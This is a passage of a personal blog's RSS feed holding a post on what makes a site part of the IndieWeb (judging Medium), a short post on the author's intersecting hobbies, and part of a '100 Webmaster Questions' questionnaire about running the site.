&lt;p&gt;Indieweb.org’s response to this is to shift not only one’s canonical presence on the web from big social &lt;em&gt;back&lt;/em&gt; to personal sites, but also to lessen or entirely eliminates one’s reliance on these big social platforms to do, well, “social” things. Why else would they mandate that your blog (of all things) be capable of engaging with other sites via likes, and “status messages”—traditional social media-type behaviors.&lt;/p&gt;

&lt;p&gt;In Indieweb.org’s world view, “indie-“ means &lt;strong&gt;independent&lt;/strong&gt;. Your entire presence—your identity, your content, your connections, your network—can be entirely self-contained on your site. They’re taking the power, and I mean &lt;em&gt;all&lt;/em&gt; the power, back from big social. But I think it’s a step too far.&lt;/p&gt;

&lt;p&gt;I like to think of “indie-“ differently. For me it means &lt;strong&gt;individualism&lt;/strong&gt;. Your site doesn’t need to be entirely &lt;em&gt;independent&lt;/em&gt;—a monolith of functionality with every feature baked into it all at once. It certainly doesn’t need to collect random &lt;em&gt;likes&lt;/em&gt; and showcase them on every article. Rather, your site &lt;a href=&quot;#indieweb-principles&quot;&gt;needs&lt;/a&gt; to be something that is simply, distinctively you. Your content, your voice, your aesthetic, on a domain that is unique to you.&lt;/p&gt;

&lt;p&gt;Let’s further dig into what it takes (&lt;em&gt;in my opinion&lt;/em&gt;) to be &lt;a href=&quot;#being-part-of-the-indieweb&quot;&gt;part of the IndieWeb&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;being-part-of-the-indieweb&quot;&gt;Being Part of the IndieWeb&lt;/h2&gt;

&lt;p&gt;I made a &lt;a href=&quot;https://shellsharks.social/@shellsharks/116053655023415256&quot;&gt;comment&lt;/a&gt; recently about how &lt;a href=&quot;https://medium.com&quot;&gt;Medium&lt;/a&gt; (the blogging platform) was antithetical to (my own understanding of) IndieWeb &lt;a href=&quot;#indieweb-principles&quot;&gt;ideals&lt;/a&gt;. I gave no further reasoning at the time. The argument made in reply to my comment was that Medium allows you export your posts and email lists and that it has an API that allows you to get stuff. The point was also made that Medium had no ads or user tracking. It was a thoughtful reply and it made me think, &lt;em&gt;what is the “IndieWeb”&lt;/em&gt;? &lt;em&gt;What makes a site “part of the IndieWeb”?&lt;/em&gt;&lt;/p&gt;

&lt;h6 id=&quot;indieweb-principles&quot;&gt;IndieWeb Principles&lt;/h6&gt;

&lt;p&gt;For me, to be a “part of the &lt;a href=&quot;#the-indieweb&quot;&gt;IndieWeb&lt;/a&gt;”, or &lt;a href=&quot;#flavors-of-a-more-human-web&quot;&gt;whatever&lt;/a&gt; you want to call it, your site must meet just &lt;em&gt;three&lt;/em&gt; &lt;a href=&quot;https://shellsharks.com/indieweb#principle-mechanics&quot;&gt;criteria&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Your site is hosted at a domain you own.&lt;/li&gt;
  &lt;li&gt;You own (and have access to all of) your content.&lt;/li&gt;
  &lt;li&gt;The site is about you–—your writing, your content. You are free to personalize the site’s design as you see fit.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s it!&lt;/p&gt;

&lt;h3 id=&quot;is-medium-part-of-the-indieweb&quot;&gt;Is Medium Part of the IndieWeb?&lt;/h3&gt;

&lt;p&gt;So this brings me back to the &lt;a href=&quot;#being-part-of-the-indieweb&quot;&gt;discussion around Medium&lt;/a&gt;, and whether a Medium blog is part of the “IndieWeb”, or &lt;em&gt;IndieWebby&lt;/em&gt; in general.&lt;/p&gt;

&lt;p&gt;Let’s judge Medium using my &lt;a href=&quot;#indieweb-principles&quot;&gt;three simple criteria&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;✅ &lt;strong&gt;Domain Ownership&lt;/strong&gt;: &lt;em&gt;Yes!&lt;/em&gt; Medium allows you to &lt;a href=&quot;https://help.medium.com/hc/en-us/articles/115003053487-Setting-up-a-custom-domain-for-your-profile-or-publication&quot;&gt;bring your own domain&lt;/a&gt;. Though I will say, it requires you to be a paid Medium member and theres some other small limitations.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;🤷‍♂️ &lt;strong&gt;Data Ownership&lt;/strong&gt;: Does Medium allow you to &lt;em&gt;own&lt;/em&gt; your content? &lt;em&gt;Kind of&lt;/em&gt;? Hopefully? Your writing and personal data are stored on Medium servers and accessible via their CMS. You have the ability to &lt;a href=&quot;https://help.medium.com/hc/en-us/articles/115004745787-Export-your-account-data&quot;&gt;export your account data&lt;/a&gt; including your stories. But here’s where things get murky for me. That’s great that Medium allows this. &lt;em&gt;But like&lt;/em&gt;… what if they decided one day to &lt;em&gt;not&lt;/em&gt; allow that. What if on that day, you hadn’t taken a recent export? It’s worth considering the potential risks and how you can ensure you truly own your content and ensure your site’s overall sovereignty.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;❌ &lt;strong&gt;Individual Expression&lt;/strong&gt;: &lt;em&gt;Fail&lt;/em&gt;. Medium (and platforms like it) severely limit your options for &lt;a href=&quot;https://medium.com/blog/an-update-on-profile-colors-and-themes-2cb471e61e40&quot;&gt;customization &amp;amp; personalization&lt;/a&gt;. Yes you can publish &lt;em&gt;your&lt;/em&gt; writing there, but your site is otherwise canned—a sterile clone of every other site and page across the entire platform. True may it be that the words on your site can be uniquely yours, but they will still come from the same white background, black font, serif text that you know and &lt;s&gt;love&lt;/s&gt; are-bored-of.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Look, if what matters to you most is getting your words out, in plain text, then Medium might be a good choice for you. Medium has lots of benefits in terms of discoverability, monetization, etc… But there are no digital gardens on Medium.&lt;/p&gt;

&lt;h1 id=&quot;parting-thoughts&quot;&gt;Parting Thoughts&lt;/h1&gt;

&lt;p&gt;I’m not trying to be elitist, or non-inclusive, or self-aggrandizing. My word on this is certainly not gospel. Afterall, I’m just some random on the Internet with a blog. I’m not saying Medium is a &lt;em&gt;bad&lt;/em&gt; platform, nor is it evil. I’m not saying you shouldn’t use it. Like with any choice of platform, or technology, there are always tradeoffs. Where you invest your time and how you build your identity on the web matters though, and I think there are risks to using Medium if what you want is to truly &lt;em&gt;own&lt;/em&gt; your space on the web and use it how you see fit—if what you want is to be part of the “&lt;a href=&quot;#the-indieweb&quot;&gt;IndieWeb&lt;/a&gt;”. What Medium does offer, among many things, is a very easy way to get started. You can bring a domain, and just start writing—and at least for now, you’re free to migrate that content elsewhere when you please. This is still much preferred to the alternative—don’t give all your content, and don’t leave your identity on the web in the hands of LinkedIn, or Facebook, or Twitter, or any of these centralized big tech platforms. If it can help, let Medium be a stepping stone to something that can truly be uniquely, and perpetually you.&lt;/p&gt;
</description>
        <pubDate>Fri, 13 Feb 2026 01:23:00 -0500</pubDate>
        <link>https://shellsharks.com/human-web</link>
        <guid isPermaLink="true">https://shellsharks.com/human-web</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Intersecting Interests</title>
        <shark:summary><p>This month’s <a href="https://indieweb.org/IndieWeb_Carnival">IndieWeb Carnival</a> is <strong><a href="https://zacharykai.net/notes/icfeb26">Intersecting Interests</a></strong>. After giving it some thought, I’m not sure I have a particularly outstanding pair of intersecting <a href="https://shellsharks.com/interests">interests</a>, but there’s plenty of li’l junctions to speak of. Let’s see what I’ve got…</p>
</shark:summary>
        <description>&lt;p&gt;This month’s &lt;a href=&quot;https://indieweb.org/IndieWeb_Carnival&quot;&gt;IndieWeb Carnival&lt;/a&gt; is &lt;strong&gt;&lt;a href=&quot;https://zacharykai.net/notes/icfeb26&quot;&gt;Intersecting Interests&lt;/a&gt;&lt;/strong&gt;. After giving it some thought, I’m not sure I have a particularly outstanding pair of intersecting &lt;a href=&quot;https://shellsharks.com/interests&quot;&gt;interests&lt;/a&gt;, but there’s plenty of li’l junctions to speak of. Let’s see what I’ve got…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Travel&lt;/strong&gt; &lt;em&gt;x&lt;/em&gt; &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/tags?tag=food&quot;&gt;Food&lt;/a&gt;&lt;/strong&gt;: An obvious one sure, but I do really love to &lt;a href=&quot;https://shellsharks.com/tags?tag=travel&quot;&gt;travel&lt;/a&gt; and I think my favorite part has always been exploring the local cuisine. Some standouts from my travels have got to be belgians cooking various stews &lt;em&gt;in&lt;/em&gt; their legendary beers, Tiroler Gröstl from Austria and Costa Rican casado. 🤤&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Playing&lt;/strong&gt; &lt;em&gt;x&lt;/em&gt; &lt;strong&gt;Watching Basketball&lt;/strong&gt;: I watch a number of different sports, but the only one I really play is basketball. I get plenty of ideas of how I might improve or tweak my game by watching what the pros are up to. Doin’ my best to copy that is!&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Hiking&lt;/strong&gt; &lt;em&gt;x&lt;/em&gt; &lt;strong&gt;Frisbee Golf&lt;/strong&gt;: These two go hand-in-hand. Especially if you’re not very good at frisbee golf and end up throwing it deep into the woods every time. Turns out I do a lot of extra hiking for every round of disc golf I play! 😅&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Apple&lt;/strong&gt; &lt;em&gt;x&lt;/em&gt; &lt;strong&gt;Retro Gaming&lt;/strong&gt;: I don’t do much modern gaming these days, but I still like to play some of the &lt;a href=&quot;https://shellsharks.com/notes/2011/07/07/favorite-nintendo-games&quot;&gt;classics&lt;/a&gt; from time to time. &lt;a href=&quot;https://shellsharks.com/notes/2023/11/22/retro-gaming-with-delta&quot;&gt;Retro emulators&lt;/a&gt; on the iPhone/iPad are a great way to quickly enjoy some of these titles on the go. (&lt;a href=&quot;https://shellsharks.com/notes/2024/05/08/crystal-six&quot;&gt;This one&lt;/a&gt; in particular)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Blogging&lt;/strong&gt; &lt;em&gt;x&lt;/em&gt; &lt;u&gt;&lt;b&gt;ANYTHING&lt;/b&gt;&lt;/u&gt;!: Last but not least, there’s my &lt;em&gt;blogging&lt;/em&gt; interest! Turns out you can (and &lt;a href=&quot;https://shellsharks.com/just-put-it-on-your-blog&quot;&gt;should&lt;/a&gt;) blog about literally anything. So that’s what I do. I blog about all sorts of different things—&lt;a href=&quot;https://shellsharks.com/tags?tag=infosec&quot;&gt;infosec&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/tags?tag=technology&quot;&gt;technology&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/tags?tag=apple&quot;&gt;apple&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/tags?tag=gaming&quot;&gt;gaming&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/tags?tag=travel&quot;&gt;travel&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/tags?tag=fediverse&quot;&gt;fediverse&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/tags?tag=music&quot;&gt;music&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/tags?tag=scifi&quot;&gt;sci-fi&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/tags?tag=gardening&quot;&gt;gardening&lt;/a&gt; and &lt;a href=&quot;https://shellsharks.com/tags&quot;&gt;much more&lt;/a&gt;!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s it! Thanks for reading.&lt;/p&gt;
</description>
        <pubDate>Sat, 07 Feb 2026 13:05:00 -0500</pubDate>
        <link>https://shellsharks.com/intersecting-interests</link>
        <guid isPermaLink="true">https://shellsharks.com/intersecting-interests</guid>
        
        <category>life</category>
        
        <category>iwc</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>100 Webmaster Questions</title>
        <shark:summary><p>Here’s a blogging challenge inspired by <a href="https://theresmiling.eu/blog/2026/01/100-webmaster-questions">theresmiling</a>. “100 webmaster questions”, let’s go!
<br /><br />
<strong>1. Please introduce yourself.</strong>
<br /><br />
I am <a href="https://shellsharks.com/about"><span style="color:#CA3342 !important;">shellsharks</span></a> and shellsharks means <a href="https://www.youtube.com/watch?v=T4YI87DPkPw">me</a>! (IRL, folks call me <em>Mike</em>.)</p>
</shark:summary>
        <description>&lt;p&gt;Here’s a blogging challenge inspired by &lt;a href=&quot;https://theresmiling.eu/blog/2026/01/100-webmaster-questions&quot;&gt;theresmiling&lt;/a&gt;. “100 webmaster questions”, let’s go!
&lt;br /&gt;&lt;br /&gt;
&lt;strong&gt;1. Please introduce yourself.&lt;/strong&gt;
&lt;br /&gt;&lt;br /&gt;
I am &lt;a href=&quot;https://shellsharks.com/about&quot;&gt;&lt;span style=&quot;color:#CA3342 !important;&quot;&gt;shellsharks&lt;/span&gt;&lt;/a&gt; and shellsharks means &lt;a href=&quot;https://www.youtube.com/watch?v=T4YI87DPkPw&quot;&gt;me&lt;/a&gt;! (IRL, folks call me &lt;em&gt;Mike&lt;/em&gt;.)&lt;/p&gt;

&lt;p&gt;&lt;span id=&quot;how-long&quot;&gt;&lt;/span&gt;
&lt;strong&gt;2. How long have you been making websites?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Since about &lt;a href=&quot;https://shellsharks.com/notes/2024/02/15/shellsharks-a-visual-history#shellsharks-10-may-2019&quot;&gt;May 2019&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. And what got you into the hobby?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I really wanted to write &lt;a href=&quot;https://shellsharks.com/getting-into-information-security&quot;&gt;this post&lt;/a&gt; and &lt;a href=&quot;https://shellsharks.com/designer-vulnerabilities&quot;&gt;this post&lt;/a&gt;. Though my true passion for blogging and site-keeping as it is today was born when I first discovered the &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. What kind of website are you most interested in?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There’s a lot of sites &lt;a href=&quot;https://shellsharks.com/blogroll&quot;&gt;I like&lt;/a&gt;. I generally adore personal / &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; sites and anything that shares interesting / educational or infosec / cybersecurity content. I enjoy all sites that are particularly unique. A better question may be what sites do I &lt;u&gt;not&lt;/u&gt; like…. Anything with AI-generated content, anything plastered with ads, most of the “corporate”-web, anything malicious and any of &lt;a href=&quot;https://shellsharks.com/web-page-annoyances&quot;&gt;these other annoying sites&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. What’s your workflow? Do you plan your websites out thoroughly or do you come up with the design as you go along?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I don’t have a lot of websites outside of this one. I started &lt;a href=&quot;#how-long&quot;&gt;in 2019&lt;/a&gt; without much of a plan. I knew only that I had a few ideas for posts to write and the rest would come thereafter. If I were to make a new site today, I would have a lot of lessons learned that I could apply to how I would build said site.&lt;/p&gt;

&lt;p&gt;As it pertains to how this blog is currently set up / ran, here’s my site’s overall &lt;a href=&quot;https://shellsharks.com/architecture&quot;&gt;architecture&lt;/a&gt; &amp;amp; my &lt;a href=&quot;https://shellsharks.com/blogging-methodology&quot;&gt;blogging methodology&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Please link to your biggest inspirations.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here’s some of my &lt;a href=&quot;https://shellsharks.com/indieweb#my-favorite-indie-sites&quot;&gt;favorite site designs&lt;/a&gt;, and everyone else I have to &lt;a href=&quot;https://shellsharks.com/thanks#other-awesome-people&quot;&gt;thank&lt;/a&gt; for how my site has turned out thus far.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. What’s your favourite part about making websites?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Great question! So hard to choose. I’ll name a few. To start, here’s some of my &lt;a href=&quot;https://shellsharks.com/devlog/build-then-smile&quot;&gt;favorite things I’ve built&lt;/a&gt; for the site. But I’d say my favorite part about actually making the website has been turning it into a &lt;a href=&quot;https://shellsharks.com/welcome-home&quot;&gt;digital home&lt;/a&gt;, a place I really just like to spend time in and click around. Secondly, I’ve really enjoyed my site as a place that has helped, educated and inspired &lt;a href=&quot;https://shellsharks.com/kindness&quot;&gt;others&lt;/a&gt; across the ‘net.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. And the thing you struggle with the most?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Probably these two things…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/notes/2023/11/09/where-i-find-the-time&quot;&gt;Finding the time&lt;/a&gt; and motivation to work-on / write-for the site.&lt;/li&gt;
  &lt;li&gt;Getting around some of the technical limitations of static site generators.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;9. Do you keep the same layout on all of your pages? Or do you use different ones?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I have a few different layouts. Most of them are pretty similar but I have different layouts for &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;different post types&lt;/a&gt;: posts vs. pages, there’s some special posts, etc…&lt;/p&gt;

&lt;p&gt;E.g. a &lt;a href=&quot;https://shellsharks.com/about&quot;&gt;page&lt;/a&gt; vs. a &lt;a href=&quot;https://shellsharks.com/scrolls/scroll/2026-02-02&quot;&gt;scroll&lt;/a&gt; vs. a &lt;a href=&quot;https://shellsharks.com/notes/2025/06/23/its-a-lot-of-things&quot;&gt;note&lt;/a&gt; vs. a standard &lt;a href=&quot;https://shellsharks.com/link-dumps&quot;&gt;blog post&lt;/a&gt; vs. my &lt;a href=&quot;https://shellsharks.com/void/welcome&quot;&gt;screams&lt;/a&gt; etc…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10. How confident are you with CSS?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once you’ve reckoned with the horror that is CSS, can you claim confidence in anything within this reality?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;11. Do you know how to correctly use &amp;lt;dl&amp;gt;?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I guess not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;12. What is your favourite HTML element?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://shellsharks.com/notes/2025/02/14/i-am-sup&quot;&gt;sup&lt;/a&gt;. I also love &amp;lt;li&amp;gt;sts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;13. If you’re making a new web page from scratch, what is the first thing you do?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If it’s for a new site, I gotta get the domain of course. Coming up with, and then actually finding the perfect domain name is &lt;em&gt;really&lt;/em&gt; hard in my experience. Once I have my domain in hand, I try to get a wireframe up first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;14. Do you know JavaScript?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Does &lt;a href=&quot;https://eamodeorubio.github.io/thejshorrorshow&quot;&gt;anyone&lt;/a&gt;? I know enough to get in &lt;a href=&quot;https://eev.ee/blog/2016/10/31/javascript-a-horror-story/&quot;&gt;trouble&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;15. How about PHP?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The basics. Nothing less. Nothing more.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;16. Does your website have a theme that you stick to?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://shellsharks.com/style&quot;&gt;Pretty much&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;17. Are you more focused on content or design?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Content is probably the correct answer. Though I go through stretches where I am more keenly fixated on sprucing up the site’s design / aesthetic / ux / etc…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;18. Do you own a domain name? If not, would you ever want to?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yes! &lt;em&gt;&lt;a href=&quot;https://shellsharks.com/verify#domains&quot;&gt;Many&lt;/a&gt;&lt;/em&gt;. Though &lt;a href=&quot;https://shellsharks.com/&quot;&gt;shellsharks.com&lt;/a&gt; is probably the only one I am really using right now.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;19. What do you think of nostalgia-focused or “retro” websites?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Love ‘em 🧡&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;20. Is your HTML valid? Do you even check?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Just checked &lt;a href=&quot;https://validator.w3.org/nu/?doc=https%3A%2F%2Fshellsharks.com%2F&quot;&gt;this&lt;/a&gt; and I have &lt;strong&gt;112&lt;/strong&gt; findings. So I guess not 😬.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;21. What are your opinion on buttons and banners?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Love buttons. I have a bunch of them &lt;a href=&quot;https://shellsharks.com/about&quot;&gt;here&lt;/a&gt;. Banners are &lt;em&gt;ok&lt;/em&gt;? I don’t like anything &lt;em&gt;too&lt;/em&gt; visually distracting, and I certainly don’t like anything that is just an ad.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;22. What do you think of button walls in particular?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I think they can be done tastefully (i.e. at the bottom of the page), and there’s lots of cool buttons to show off!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;23. If you started over again, would you make something similar or completely different?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’d make something &lt;em&gt;similar&lt;/em&gt; for sure. But there’s a lot of things I would do better, or slightly different.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I’d comment my site’s source code a lot more.&lt;/li&gt;
  &lt;li&gt;There would be a lot less in-line JS and CSS.&lt;/li&gt;
  &lt;li&gt;In fact, I might try to make it JS-free.&lt;/li&gt;
  &lt;li&gt;I’d design with accessibility more in mind.&lt;/li&gt;
  &lt;li&gt;Though I’m on the fence with certain features, I might use an SSG or platform that would more easily allow for me to add federation capabilities, webmentions, and other IndieWeb functionality.&lt;/li&gt;
  &lt;li&gt;I have a lot of other &lt;a href=&quot;https://shellsharks.com/ideas&quot;&gt;ideas&lt;/a&gt; I might incorporate from the beginning too.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;24. Are you envious of other people’s websites?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I wouldn’t say that, no. There are a lot of websites that I think are &lt;a href=&quot;https://shellsharks.com/indieweb#my-favorite-indie-sites&quot;&gt;really cool&lt;/a&gt; though. They &lt;a href=&quot;https://shellsharks.com/thanks#other-awesome-people&quot;&gt;inspire&lt;/a&gt; me. Sometimes I steal good ideas when I see them. But I really like my website. I think it is unique, and in its sum, the best. It feels like &lt;a href=&quot;https://shellsharks.com/welcome-home&quot;&gt;home&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;25. What text editor do you use?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Visual Studio Code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;26. Why do you use that one?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It’s cross-platform, I’m familiar with it, it has the Git functionality I want. I’m not &lt;em&gt;super&lt;/em&gt; attached to it. But just haven’t tried other things.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;27. Do you host your image files on your web server, or on another host?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some of my images are in my GitHub repo, but most of them are in an AWS S3 bucket.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;28. This might not be relevant to you, but what’s your opinion on the Neocities vs. Nekoweb debate?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not aware of the debate. So no opinion.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;29. How much server space would you estimate your main website takes up?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not sure. I suppose I don’t really care.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;30. Do you keep local backups of your files?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yep!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;31. Do you prefer simple or highly visual websites?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I see the beauty and merit in both. But have you seen my site? Very info-dense.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;32. Do you stick to certain colours? Do you do that on purpose, or is it your subconscious?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I have some &lt;a href=&quot;https://shellsharks.com/style#color-palette&quot;&gt;thematic colors&lt;/a&gt; to be sure, but I also have different &lt;a href=&quot;https://shellsharks.com/devlog/build-then-smile#theme-toggle&quot;&gt;themes&lt;/a&gt; (e.g. light/dark/classic) you can toggle through depending on your preference or mood.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;33. Have you ever thought about quitting? Why?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The site? No. I go through drought periods where I am less active, but I’ve never considered shutting the site off or completely walking away. The nice thing about a personal website is you can be as active, or inactive as you want and come back when you please.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;34. Do you have many webmaster friends, or is it a solitary hobby?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There are a lot of people I have met online in the &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; community and via the &lt;a href=&quot;https://shellsharks.com/fediverse&quot;&gt;Fediverse&lt;/a&gt; that have their own sites. We are friendly in a digital kinda way. IRL though I don’t know too many folks who have personal websites.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;35. Do people in your real life know about your website?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;They sure do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;36. Do you update your website very often? How often is “very often”?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’d say my site is &lt;a href=&quot;https://shellsharks.com/changelog&quot;&gt;updated&lt;/a&gt; very frequently &lt;em&gt;most of the time&lt;/em&gt;. These updates are typically small additions to some of the lists that I keep. When I am very &lt;a href=&quot;https://shellsharks.com/activity&quot;&gt;active&lt;/a&gt; with the site you might also see multiple net new posts in a week.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;37. And the overall design, do you change that much? Why or why not?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’ve gone through a major &lt;a href=&quot;https://shellsharks.com/notes/2024/02/15/shellsharks-a-visual-history&quot;&gt;design&lt;/a&gt; overhaul about every 2 years thus far.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;38. Is your website more you-focused, hobby-focused, or outside world-focused?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It’s a bit of everything. I write about &lt;a href=&quot;https://shellsharks.com/tags?tag=infosec&quot;&gt;infosec&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/tags?tag=infosec&quot;&gt;technology&lt;/a&gt; and “&lt;a href=&quot;https://shellsharks.com/tags?tag=life&quot;&gt;life&lt;/a&gt; in general”. I’ve given myself the space to write about whatever I want, from my professional pursuits to my &lt;a href=&quot;https://shellsharks.com/captains-log&quot;&gt;personal life&lt;/a&gt;, and everything in between.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;39. Do you do web design professionally?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not at all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;40. If not, would you like to? And if you’re comfortable answering, what do you do for work?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;At one point in time that was my dream. To work remotely + abroad and do web design / web building work. I never really went down that path in the end, opting instead for the &lt;a href=&quot;https://shellsharks.com/getting-into-information-security&quot;&gt;cybersecurity&lt;/a&gt; field.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;41. Do you communicate with people by email very much?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Occassionally. I do enjoy email correspondence, and try to contact IndieWeb folks from time to time via email just to chat.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;42. Some people reject social media and use websites as a replacement. Do you keep social media outside of your website?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In a way, yes. My site isn’t “social”, in that it is not federated, it doesn’t support webmentions and there is no commenting system. I like what is on my site to be my content alone. But I write about social media a lot, link out to my &lt;a href=&quot;https://shellsharks.com/hello&quot;&gt;social presences&lt;/a&gt; and even &lt;a href=&quot;https://shellsharks.com/pesos&quot;&gt;PESOS&lt;/a&gt; some social media &lt;a href=&quot;https://shellsharks.com/devlog/mastodon-auto-pesos&quot;&gt;content&lt;/a&gt; back into my site.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;43. How about instant messengers? Do you use a mainstream one like Discord or Telegram? Or something like Matrix? Do you avoid them?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I do use them, but they don’t see much action day-to-day. I have and use &lt;a href=&quot;https://discord.gg/3rkHgtcYbb&quot;&gt;Discord&lt;/a&gt;, Matrix and XMPP (shellsharks@xmpp.earth). I also have lots of traditional “text messaging”-type apps I use (e.g. Google Voice, WhatsApp, iMessage, etc…)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;44. Do you listen to music while you work on websites? If so, what kinds of artists?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sometimes&lt;/em&gt;. Just depends on my mood and what I’m doing. For some reason I can listen to music while reading, but not when I’m writing. I can listen to music while I code though. In these cases, I’ll mostly listen to instrumental versions of albums I like and metal.&lt;/p&gt;

